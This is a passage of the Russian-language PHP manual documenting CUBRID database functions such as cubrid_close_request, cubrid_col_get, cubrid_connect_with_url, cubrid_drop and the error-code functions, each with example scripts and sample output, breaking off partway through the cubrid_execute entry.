cubrid_execute($con,"CREATE TABLE php_cubrid_lob_test (image BLOB)");
$sql = "INSERT INTO php_cubrid_lob_test(image) VALUES(?)";
$req = cubrid_prepare($con, $sql);

cubrid_bind($req, 1, "cubrid_logo.png", "blob");
cubrid_execute($req);
}
?>

Смотрите также

  • cubrid_execute() - Выполняет подготовленный SQL-оператор
  • cubrid_prepare() - Подготавливает SQL-выражение к выполнению

User Contributed Notes

There are no user contributed notes for this page.


Закрывает обработчик запроса

  • « cubrid_bind
  • cubrid_close_request »
  • PHP Manual
  • Функции CUBRID
  • Закрывает обработчик запроса

cubrid_close_prepare

(PECL CUBRID >= 8.3.0)

cubrid_close_prepare — Закрывает обработчик запроса

Описание

cubrid_close_prepare(resource $req_identifier): bool

Функция cubrid_close_prepare() закрывает обработчик запроса, заданный в req_identifier, и высвобождает выделенную ему память. Является синонимом для cubrid_close_request().

Список параметров

req_identifier

Идентификатор запроса.

Возвращаемые значения

Возвращает true в случае успешного выполнения.

Примеры

Пример #1 Пример использования cubrid_close_prepare()

<?php
$con = cubrid_connect ("localhost", 33000, "demodb", "dba", "");
if ($con) {
echo "connected successfully";
$req = cubrid_execute ( $con, "select * from members",
CUBRID_INCLUDE_OID | CUBRID_ASYNC);
if ($req) {
while ( list ($id, $name) = cubrid_fetch ($req) ){
echo $id;
echo $name;
}
cubrid_close_prepare($req); // or you can use cubrid_close_request($req)
}
cubrid_disconnect($con);
}
?>

Смотрите также

  • cubrid_close_request() - Закрывает обработчик запроса

User Contributed Notes

There are no user contributed notes for this page.


Закрывает обработчик запроса

  • « cubrid_close_prepare
  • cubrid_col_get »
  • PHP Manual
  • Функции CUBRID
  • Закрывает обработчик запроса

cubrid_close_request

(PECL CUBRID >= 8.3.0)

cubrid_close_request — Закрывает обработчик запроса

Описание

cubrid_close_request(resource $req_identifier): bool

Функция cubrid_close_request() закрывает обработчик запроса, заданный в req_identifier, и высвобождает выделенную ему память. Является синонимом для cubrid_close_prepare().

Список параметров

req_identifier

Идентификатор запроса.

Возвращаемые значения

Возвращает true в случае успешного выполнения.

Примеры

Пример #1 Пример использования cubrid_close_request()

<?php
$con = cubrid_connect ("localhost", 33000, "demodb", "dba", "");
if ($con) {
echo "connected successfully";
$req = cubrid_execute ( $con, "select * from members",
CUBRID_INCLUDE_OID | CUBRID_ASYNC);
if ($req) {
while ( list ($id, $name) = cubrid_fetch ($req) ){
echo $id;
echo $name;
}
cubrid_close_request($req); // or you can use cubrid_close_prepare($req)
}
cubrid_disconnect($con);
}
?>

Смотрите также

  • cubrid_close_prepare() - Закрывает обработчик запроса

User Contributed Notes

There are no user contributed notes for this page.


Получение контента столбца типа коллекция по OID

  • « cubrid_close_request
  • cubrid_col_size »
  • PHP Manual
  • Функции CUBRID
  • Получение контента столбца типа коллекция по OID

cubrid_col_get

(PECL CUBRID >= 8.3.0)

cubrid_col_get — Получение контента столбца типа коллекция по OID

Описание

cubrid_col_get(resource $conn_identifier, string $oid, string $attr_name): array

Функция cubrid_col_get() используется для получения контента элемента типа коллекция (set, multiset, sequence) в виде массива.

Список параметров

conn_identifier

Идентификатор коллекции.

oid

OID экземпляра, который вы хотите прочитать.

attr_name

Имя атрибута, который вы хотите прочитать.

Возвращаемые значения

Индексированный массив (начинается с 0), содержащий запрошенные элементы, в случае успеха.

false (для отличия ошибки от ситуации, когда атрибут содержит пустую коллекцию или NULL, в случае возникновения ошибки будет вызвано предупреждение; в этом случае нужно использовать функцию cubrid_error_code()), в случае неудачи.

Примеры

Пример #1 Пример использования cubrid_col_get()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

$size = cubrid_col_size($conn, $oid, "b");
var_dump($size);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
int(3)

User Contributed Notes

There are no user contributed notes for this page.


Получает количество элементов в столбце типа коллекция по OID

  • « cubrid_col_get
  • cubrid_column_names »
  • PHP Manual
  • Функции CUBRID
  • Получает количество элементов в столбце типа коллекция по OID

cubrid_col_size

(PECL CUBRID >= 8.3.0)

cubrid_col_size — Получает количество элементов в столбце типа коллекция по OID

Описание

cubrid_col_size(resource $conn_identifier, string $oid, string $attr_name): int

Функция cubrid_col_size() используется для получения количества элементов в атрибуте типа коллекция (set, multiset, sequence).

Список параметров

conn_identifier

Идентификатор соединения.

oid

OID экземпляра.

attr_name

Имя атрибута, с которым вы хотите работать.

Возвращаемые значения

Количество элементов, в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.3.1 | Изменено возвращаемое значение: в случае неудачи возвращается false, а не -1.

Примеры

Пример #1 Пример использования cubrid_col_size()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

$size = cubrid_col_size($conn, $oid, "b");
var_dump($size);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
int(3)

User Contributed Notes

There are no user contributed notes for this page.


Получить имена столбцов в результирующем наборе

  • « cubrid_col_size
  • cubrid_column_types »
  • PHP Manual
  • Функции CUBRID
  • Получить имена столбцов в результирующем наборе

cubrid_column_names

(PECL CUBRID >= 8.3.0)

cubrid_column_names — Получить имена столбцов в результирующем наборе

Описание

cubrid_column_names(resource $req_identifier): array

Функция cubrid_column_names() используется для получения имён столбцов в результирующем наборе, заданном в req_identifier.

Список параметров

req_identifier

Идентификатор запроса.

Возвращаемые значения

Массив строк, содержащих имена столбцов, в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_column_names()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);

printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Maxlen");
for($i = 0, $size = count($column_names); $i < $size; $i++) {
$column_len = cubrid_field_len($result, $i);
printf("%-30s %-30s %-15s\n", $column_names[$i], $column_types[$i], $column_len);
}

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

Column Names                   Column Types                   Column Maxlen
host_year                      integer                        11
event_code                     integer                        11
athlete_code                   integer                        11
stadium_code                   integer                        11
nation_code                    char                           3
medal                          char                           1
game_date                      date                           10

Смотрите также

  • cubrid_prepare() - Подготавливает SQL-выражение к выполнению
  • cubrid_execute() - Выполняет подготовленный SQL-оператор
  • cubrid_column_types() - Получить типы столбцов в результирующем наборе

User Contributed Notes

There are no user contributed notes for this page.


Получить типы столбцов в результирующем наборе

  • « cubrid_column_names
  • cubrid_commit »
  • PHP Manual
  • Функции CUBRID
  • Получить типы столбцов в результирующем наборе

cubrid_column_types

(PECL CUBRID >= 8.3.0)

cubrid_column_types — Получить типы столбцов в результирующем наборе

Описание

cubrid_column_types(resource $req_identifier): array

Функция cubrid_column_types() используется для получения типов столбцов в результирующем наборе, заданном в req_identifier.

Список параметров

req_identifier

Request identifier.

Возвращаемые значения

Массив строк, содержащих типы столбцов, в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 cubrid_column_types() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");
$result = cubrid_execute($conn, "SELECT * FROM game WHERE host_year=2004 AND nation_code='AUS' AND medal='G'");

$column_names = cubrid_column_names($result);
$column_types = cubrid_column_types($result);

printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Maxlen");
for($i = 0, $size = count($column_names); $i < $size; $i++) {
$column_len = cubrid_field_len($result, $i);
printf("%-30s %-30s %-15s\n", $column_names[$i], $column_types[$i], $column_len);
}

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

Column Names                   Column Types                   Column Maxlen
host_year                      integer                        11
event_code                     integer                        11
athlete_code                   integer                        11
stadium_code                   integer                        11
nation_code                    char                           3
medal                          char                           1
game_date                      date                           10

Смотрите также

  • cubrid_column_names() - Получить имена столбцов в результирующем наборе
  • cubrid_prepare() - Подготавливает SQL-выражение к выполнению
  • cubrid_execute() - Выполняет подготовленный SQL-оператор

User Contributed Notes

There are no user contributed notes for this page.


Подтверждение транзакции

  • « cubrid_column_types
  • cubrid_connect_with_url »
  • PHP Manual
  • Функции CUBRID
  • Подтверждение транзакции

cubrid_commit

(PECL CUBRID >= 8.3.0)

cubrid_commit — Подтверждение транзакции

Описание

cubrid_commit(resource $conn_identifier): bool

Функция cubrid_commit() используется для подтверждения изменений, произведённых в транзакции в соединении conn_identifier, После вызова функции cubrid_commit(), соединение с сервером будет закрыто, но обработчик соединения всё ещё будет корректным.

В CUBRID PHP, режим авто-коммита для транзакций по умолчанию отключён. Вы можете разрешить или запретить его принудительно с помощью функции cubrid_set_autocommit(). Узнать текущий статус можно функцией cubrid_get_autocommit(). Перед тем как начать транзакцию, убедитесь, что авто-коммит запрещён.

Список параметров

conn_identifier

Идентификатор соединения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_commit()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE publishers");

$sql = <<<EOD
CREATE TABLE publishers(
pub_id CHAR(3),
pub_name VARCHAR(20),
city VARCHAR(15),
state CHAR(2),
country VARCHAR(15)
)
EOD;
cubrid_set_autocommit($conn,false);
if (!cubrid_execute($conn, $sql)) {
printf("Error facility: %d\nError code: %d\nError msg: %s\n", cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

cubrid_disconnect($conn);
exit;
}

$req = cubrid_prepare($conn, "INSERT INTO publishers VALUES(?, ?, ?, ?, ?)");

$id_list = array("P01", "P02", "P03", "P04");
$name_list = array("Abatis Publishers", "Core Dump Books", "Schadenfreude Press", "Tenterhooks Press");
$city_list = array("New York", "San Francisco", "Hamburg", "Berkeley");
$state_list = array("NY", "CA", NULL, "CA");
$country_list = array("USA", "USA", "Germany", "USA");

for ($i = 0, $size = count($id_list); $i < $size; $i++) {
cubrid_bind($req, 1, $id_list[$i]);
cubrid_bind($req, 2, $name_list[$i]);
cubrid_bind($req, 3, $city_list[$i]);
cubrid_bind($req, 4, $state_list[$i]);
cubrid_bind($req, 5, $country_list[$i]);

if (!($ret = cubrid_execute($req))) {
break;
}
}

if (!$ret) {
cubrid_rollback($conn);
} else {
cubrid_commit($conn);

$req = cubrid_execute($conn, "SELECT * FROM publishers");
while ($result = cubrid_fetch_assoc($req)) {
printf("%-3s %-20s %-15s %-3s %-15s\n",
$result["pub_id"], $result["pub_name"], $result["city"], $result["state"], $result["country"]);
}
}

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

P01 Abatis Publishers    New York        NY  USA
P02 Core Dump Books      San Francisco   CA  USA
P03 Schadenfreude Press  Hamburg             Germany
P04 Tenterhooks Press    Berkeley        CA  USA

Смотрите также

  • cubrid_rollback() - Откат транзакции
  • cubrid_get_autocommit() - Возвращает настройку авто-коммита для соединения
  • cubrid_set_autocommit() - Устанавливает режим авто-коммита для соединения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт окружение для соединения с сервером CUBRID

  • « cubrid_commit
  • cubrid_connect »
  • PHP Manual
  • Функции CUBRID
  • Создаёт окружение для соединения с сервером CUBRID

cubrid_connect_with_url

(PECL CUBRID >= 8.3.1)

cubrid_connect_with_url — Создаёт окружение для соединения с сервером CUBRID

Описание

cubrid_connect_with_url(
string $conn_url,
string $userid = ?,
string $passwd = ?,
bool $new_link = false
): resource

Функция cubrid_connect_with_url() используется для создания окружения для соединения с сервером посредством информации заданной в виде строки URL. Если в CUBRID разрешена функциональность высокой доступности, необходимо задать информация для соединения с резервным сервером, которая будет использоваться для соединения, если с основным что-то случится. Если логин и пароль не заданы, то по умолчанию будет использоваться соединение "PUBLIC".

<url> ::= CUBRID:<host>:<db_name>:<db_user>:<db_password>:[?<properties>]

<properties> ::= <property> [&<property>]

<properties> ::= alhosts=<alternative_hosts>[ &rctime=<time>]

<properties> ::= login_timeout=<milli_sec>

<properties> ::= query_timeout=<milli_sec>

<properties> ::= disconnect_on_query_timeout=true|false

<alternative_hosts> ::= <standby_broker1_host>:<port> [,<standby_broker2_host>:<port>]

<host> := HOSTNAME | IP_ADDR

<time> := SECOND

<milli_sec> := MILLI SECOND

  • host : Имя хоста или IP-адрес основного сервера
  • db_name : имя базы данных
  • db_user : Имя пользователя
  • db_password : пароль
  • alhosts : Задаёт информацию о брокере резервного сервера, который будет использоваться в случае недоступности основного. Если вы зададите несколько резервных брокеров, то попытки соединения будут происходить в том же порядке, как они описаны в URL.
  • rctime : Интервал между попытками подключения к активному брокеру, в котором произошёл сбой. После возникновения ошибки, система соединится с резервным брокером, указанным в althosts (failover), откатит незавершённые транзакции, и затем попытается соединиться с активным брокером основного узла через каждые rctime. Значение по умолчанию 600 секунд.
  • login_timeout : Максимальное время (миллисекунды) ожидания авторизации. По умолчанию 0, что обозначает бесконечное время ожидания.
  • query_timeout : Максимальное время (миллисекунды) ожидания выполнения запроса. По исчерпании этого времени на сервер будет отослано сообщение о прекращении запроса. Возвращённое значение запроса будет зависеть от настройки disconnect_on_query_timeout; даже если будет послано сообщение о прекращении запроса, он всё ещё может завершиться удачно.
  • disconnect_on_query_timeout : Определяет, будет ли сразу после превышения времени ожидания запроса возвращена ошибка. По умолчанию false.

Замечание:

Символы ? и : являются специальными в URL соединения и не могут быть использованы в пароле. Пример некорректного пароля, который нельзя использовать в строке соединения, потому, что в нем используются символы "?:".

$url = "CUBRID:localhost:33000:tdb:dba:12?:?login_timeout=100";

Пароли, содержащие ? или : могут быть посланы отдельно.

$url = "CUBRID:localhost:33000:tbd:::?login_timeout=100";

$conn = cubrid_connect_with_url($url, "dba", "12?");

Если логин или пароль пусты, необходимо всё равно сохранять символы ":":

$url = "CUBRID:localhost:33000:demodb:::";

Список параметров

conn_url

Строка, содержащая информацию для соединения.

userid

Имя пользователя.

passwd

пароль.

new_link

Если функция cubrid_connect_with_url() была вызвана повторно с такими же аргументами, новое соединение не будет создано, вместо него будет возвращён идентификатор уже существующего подключения. Параметр new_link меняет такое поведение и вынуждает cubrid_connect_with_url() в любом случае создать новое соединение, даже если функция cubrid_connect_with_url() ранее была вызвана с такими же аргументами.

Возвращаемые значения

Идентификатор подключения в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_connect_with_url() без задания свойств

<?php
$conn_url = "CUBRID:localhost:33000:demodb:dba::";
$con = cubrid_connect_with_url($conn_url);

if ($con) {
echo "connected successfully";
cubrid_execute($con, "create table person(id int,name char(16))");
$req =cubrid_execute($con, "insert into person values(1,'James')");

if ($req) {
cubrid_close_request($req);
cubrid_commit($con);
} else {
cubrid_rollback($con);
}
cubrid_disconnect($con);
}
?>

Пример #2 Пример использования cubrid_connect_with_url() с заданием свойств

<?php
$conn_url = "CUBRID:127.0.0.1:33000:demodb:dba::?login_timeout=100";
$con = cubrid_connect_with_url ($conn_url);

if ($con) {
echo "connected successfully";
cubrid_execute($con, "create table person(id int,name char(16))");
$req =cubrid_execute($con, "insert into person values(1,'James')");

if ($req) {
cubrid_close_request($req);
cubrid_commit($con);
} else {
cubrid_rollback($con);
}
cubrid_disconnect($con);
}
?>

Смотрите также

  • cubrid_connect() - Открывает соединение к серверу CUBRID
  • cubrid_pconnect() - Открывает постоянное соединение с сервером CUBRID
  • cubrid_pconnect_with_url() - Открывает постоянное соединение с сервером CUBRID
  • cubrid_disconnect() - Закрывает соединение с базой данных
  • cubrid_close() - Закрывает соединение с базой данных

User Contributed Notes

There are no user contributed notes for this page.


Открывает соединение к серверу CUBRID

  • « cubrid_connect_with_url
  • cubrid_current_oid »
  • PHP Manual
  • Функции CUBRID
  • Открывает соединение к серверу CUBRID

cubrid_connect

(PECL CUBRID >= 8.3.1)

cubrid_connect — Открывает соединение к серверу CUBRID

Описание

cubrid_connect(
string $host,
int $port,
string $dbname,
string $userid = ?,
string $passwd = ?,
bool $new_link = false
): resource

Функция cubrid_connect() используется для создания соединения с сервером, используя его адрес, порт, имя базы данных, имени пользователя и пароля. Если логин и пароль не заданы, то по умолчанию будет использоваться соединение "PUBLIC".

Список параметров

host

Имя хоста или IP-адрес сервера CUBRID CAS.

port

Порт сервера CUBRID CAS (BROKER_PORT в $CUBRID/conf/cubrid_broker.conf).

dbname

Имя базы данных.

userid

Имя пользователя. Если не задано, то будет использовано имя по умолчанию "public".

passwd

Пароль. Если не задан, то будет использоваться "".

new_link

Если функция cubrid_connect_with_url() была вызвана повторно с такими же аргументами, новое соединение не будет создано, вместо него будет возвращён идентификатор уже существующего подключения. Параметр new_link меняет такое поведение и вынуждает cubrid_connect_with_url() в любом случае создать новое соединение, даже если функция cubrid_connect_with_url() ранее была вызвана с такими же аргументами.

Возвращаемые значения

Идентификатор подключения в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_connect()

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

if (!$conn) {
die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

Смотрите также

  • cubrid_pconnect() - Открывает постоянное соединение с сервером CUBRID
  • cubrid_connect_with_url() - Создаёт окружение для соединения с сервером CUBRID
  • cubrid_pconnect_with_url() - Открывает постоянное соединение с сервером CUBRID
  • cubrid_disconnect() - Закрывает соединение с базой данных
  • cubrid_close() - Закрывает соединение с базой данных

User Contributed Notes

There are no user contributed notes for this page.


Возвращает OID текущей позиции курсора

  • « cubrid_connect
  • cubrid_disconnect »
  • PHP Manual
  • Функции CUBRID
  • Возвращает OID текущей позиции курсора

cubrid_current_oid

(PECL CUBRID >= 8.3.0)

cubrid_current_oid — Возвращает OID текущей позиции курсора

Описание

cubrid_current_oid(resource $req_identifier): string

Функция cubrid_current_oid() используется для получения oid текущего положения курсора в результирующем наборе. Для использования функции cubrid_current_oid(), запущенный запрос должен быть обновляемым, и при запуске запроса была задана опция CUBRID_INCLUDE_OID.

Список параметров

req_identifier

Идентификатор запроса.

Возвращаемые значения

Oid текущего положения курсора, в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_current_oid()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code", CUBRID_INCLUDE_OID);
$oid = cubrid_current_oid($req);
$res = cubrid_get($conn, $oid);

print_r($res);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

Array
(
    [s_name] => X
    [f_name] => Mixed
)

Смотрите также

  • cubrid_execute() - Выполняет подготовленный SQL-оператор

User Contributed Notes

There are no user contributed notes for this page.


Закрывает соединение с базой данных

  • « cubrid_current_oid
  • cubrid_drop »
  • PHP Manual
  • Функции CUBRID
  • Закрывает соединение с базой данных

cubrid_disconnect

(PECL CUBRID >= 8.3.0)

cubrid_disconnect — Закрывает соединение с базой данных

Описание

cubrid_disconnect(resource $conn_identifier = ?): bool

Функция cubrid_disconnect() используется для закрытия обработчика соединения и отсоединения от сервера. Если какой либо обработчик запроса не будет закрыт к этому моменту, он будет принудительно закрыт. Функция аналогична функции совместимости CUBRID MySQL cubrid_close().

Список параметров

conn_identifier

Идентификатор соединения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_disconnect()

<?php
$con = cubrid_connect ("localhost", 33000, "demodb");
if ($con) {
echo "connected successfully";

$req = cubrid_execute( $con, "create table person(id int,name char(10))");
if ($req) {
cubrid_close_request($req);
cubrid_commit($con);
} else {
cubrid_rollback($con);
}

$req = cubrid_execute( $con, "insert into person values(1,'James')");
if ($req) {
cubrid_close_request($req);
cubrid_commit($con);
} else {
cubrid_rollback($con);
}
cubrid_disconnect($con);
}
?>

Смотрите также

  • cubrid_close() - Закрывает соединение с базой данных
  • cubrid_connect() - Открывает соединение к серверу CUBRID
  • cubrid_connect_with_url() - Создаёт окружение для соединения с сервером CUBRID

User Contributed Notes

There are no user contributed notes for this page.


Удаление экземпляра по OID

  • « cubrid_disconnect
  • cubrid_error_code_facility »
  • PHP Manual
  • Функции CUBRID
  • Удаление экземпляра по OID

cubrid_drop

(PECL CUBRID >= 8.3.0)

cubrid_drop — Удаление экземпляра по OID

Описание

cubrid_drop(resource $conn_identifier, string $oid): bool

Функция cubrid_drop() используется для удаления экземпляра из из базы данных, заданного его oid.

Список параметров

conn_identifier

Connection identifier.

oid

Oid экземпляра, который надо удалить.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_drop()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

printf("--- Before Drop: ---\n");
$attr = cubrid_get($conn, $oid);
var_dump($attr);

if (cubrid_drop($conn, $oid)) {
cubrid_commit($conn);
} else {
cubrid_rollback($conn);
}

cubrid_close_request($req);

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

printf("\n--- After Drop: ---\n");
$attr = cubrid_get($conn, $oid);
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

--- Before Drop: ---
array(4) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "1"
    [1]=>
    string(1) "2"
    [2]=>
    string(1) "3"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "11"
    [1]=>
    string(2) "22"
    [2]=>
    string(2) "33"
    [3]=>
    string(3) "333"
  }
  ["d"]=>
  string(10) "a         "
}

--- After Drop: ---
array(4) {
  ["a"]=>
  string(1) "2"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "4"
    [1]=>
    string(1) "5"
    [2]=>
    string(1) "7"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "44"
    [1]=>
    string(2) "55"
    [2]=>
    string(2) "66"
    [3]=>
    string(3) "666"
  }
  ["d"]=>
  string(10) "b         "
}

Смотрите также

  • cubrid_is_instance() - Проверяет, существует ли экземпляр, на который указывает OID

User Contributed Notes

There are no user contributed notes for this page.


Получить код уровня, на котором произошла ошибка

  • « cubrid_drop
  • cubrid_error_code »
  • PHP Manual
  • Функции CUBRID
  • Получить код уровня, на котором произошла ошибка

cubrid_error_code_facility

(PECL CUBRID >= 8.3.0)

cubrid_error_code_facility — Получить код уровня, на котором произошла ошибка

Описание

cubrid_error_code_facility(): int

Функция cubrid_error_code_facility() используется для выявления, на каком уровне произошла ошибка. Обычно вы можете получить код ошибки, если какая-либо функция вернула false.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Коды уровней: CUBRID_FACILITY_DBMS, CUBRID_FACILITY_CAS, CUBRID_FACILITY_CCI, CUBRID_FACILITY_CLIENT.

Примеры

Пример #1 Пример использования cubrid_error_code_facility()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = @cubrid_execute($conn, "SELECT * FROM unknown");
if (!$req) {
printf("Error facility: %d\nError code: %d\nError msg: %s\n",
cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

cubrid_disconnect($conn);
exit;
}
?>

Результат выполнения данного примера:

Error facility: 1
Error code: -493
Error msg: Syntax: In line 1, column 15 before END OF STATEMENT
Syntax error: unexpected 'unknown'

Смотрите также

  • cubrid_error_code() - Получить код ошибки
  • cubrid_error_msg() - Возвращает текст последней произошедшей ошибки

User Contributed Notes

There are no user contributed notes for this page.


Получить код ошибки

  • « cubrid_error_code_facility
  • cubrid_error_msg »
  • PHP Manual
  • Функции CUBRID
  • Получить код ошибки

cubrid_error_code

(PECL CUBRID >= 8.3.0)

cubrid_error_code — Получить код ошибки

Описание

cubrid_error_code(): int

Функция cubrid_error_code() используется для получения кода произошедшей ошибки. Обычно вы можете получить код ошибки, если какая-либо функция вернула false.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Код возникшей ошибки, или 0 (ноль), если ошибки не было.

Примеры

Пример #1 Пример использования cubrid_error_code()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");
$req = cubrid_prepare($conn , "SELECT * FROM code WHERE s_name=?");

$req = @cubrid_execute($req);
if (!$req) {
printf("Error facility: %d\nError code: %d\nError msg: %s\n",
cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

cubrid_disconnect($conn);
exit;
}
?>

Результат выполнения данного примера:

Error facility: 4
Error code: -30015
Error msg: Some parameter not binded

Смотрите также

  • cubrid_error_code_facility() - Получить код уровня, на котором произошла ошибка
  • cubrid_error_msg() - Возвращает текст последней произошедшей ошибки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текст последней произошедшей ошибки

  • « cubrid_error_code
  • cubrid_execute »
  • PHP Manual
  • Функции CUBRID
  • Возвращает текст последней произошедшей ошибки

cubrid_error_msg

(PECL CUBRID >= 8.3.0)

cubrid_error_msg — Возвращает текст последней произошедшей ошибки

Описание

cubrid_error_msg(): string

Функция cubrid_error_msg() используется для получения текста произошедшей ошибки. Обычно вы можете получить текст ошибки, если какая-либо функция вернула false.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текст ошибки.

Примеры

Пример #1 Пример использования cubrid_error_msg()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

if (!@cubrid_schema($conn, 100000)) {
printf("Error facility: %d\nError code: %d\nError msg: %s\n",
cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

cubrid_disconnect($conn);
exit;
}
?>

Результат выполнения данного примера:

Error facility: 2
Error code: -10015
Error msg: Invalid T_CCI_SCH_TYPE value

Смотрите также

  • cubrid_error_code() - Получить код ошибки
  • cubrid_error_code_facility() - Получить код уровня, на котором произошла ошибка

User Contributed Notes

There are no user contributed notes for this page.


Выполняет подготовленный SQL-оператор

  • « cubrid_error_msg
  • cubrid_fetch »
  • PHP Manual
  • Функции CUBRID
  • Выполняет подготовленный SQL-оператор

cubrid_execute

(PECL CUBRID >= 8.3.0)

cubrid_execute — Выполняет подготовленный SQL-оператор

Описание

cubrid_execute(resource $conn_identifier, string $sql, int $option = 0): resource
cubrid_execute(resource $request_identifier, int $option = 0): bool

Функция cubrid_execute() используется для выполнения данного SQL-оператора. Она выполняет запрос, используя conn_identifier и SQL, а затем возвращает созданный идентификатор запроса. Функция используется для простого выполнения запроса, когда привязка параметров не требуется. Кроме того, функция cubrid_execute() используется для выполнения подготовленного оператора с помощью cubrid_prepare() и cubrid_bind(). В это время вам необходимо указать аргументы request_identifier и option.

Параметр option используется для определения, следует ли получать OID после выполнения запроса и следует ли выполнять запрос в синхронном или асинхронном режиме. Константа CUBRID_INCLUDE_OID и CUBRID_ASYNC (или CUBRID_EXEC_QUERY_ALL, если необходимо выполнить несколько SQL-операторов) можно указать с помощью побитового оператора ИЛИ. Если не указано, ни один из них не выбран. Если установлен флаг CUBRID_EXEC_QUERY_ALL, для получения результатов запроса используется синхронный режим (sync_mode) и в таких случаях применяются следующие правила:

  • Возвращаемое значение - результат первого запроса.
